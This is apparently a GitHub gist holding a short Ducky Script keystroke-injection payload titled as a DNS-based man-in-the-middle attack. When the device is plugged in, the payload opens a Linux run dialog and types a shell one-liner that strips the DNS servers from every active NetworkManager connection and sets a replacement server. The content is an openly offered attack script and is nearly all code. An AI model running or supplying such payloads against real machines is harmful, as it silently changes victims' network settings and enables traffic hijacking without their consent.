Created
April 17, 2018 03:33
-
-
Save JonnyBanana/6636f36e379c985c528aafa67b8523e8 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
REM Set up a DNS-based MITM attack. | |
DELAY 1000 | |
ALT F2 | |
DELAY 100 | |
STRING sh -c 'function mitm() { for ((i=0;i<10;i++)); do nmcli connection modify "$1" -ipv4.dns 0; done; nmcli connection modify "$1" +ipv4.dns 8.8.8.8; }; for x in $(nmcli -t connection show --active | cut -d: -f1); do mitm "$x"; done;' | |
ENTER |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment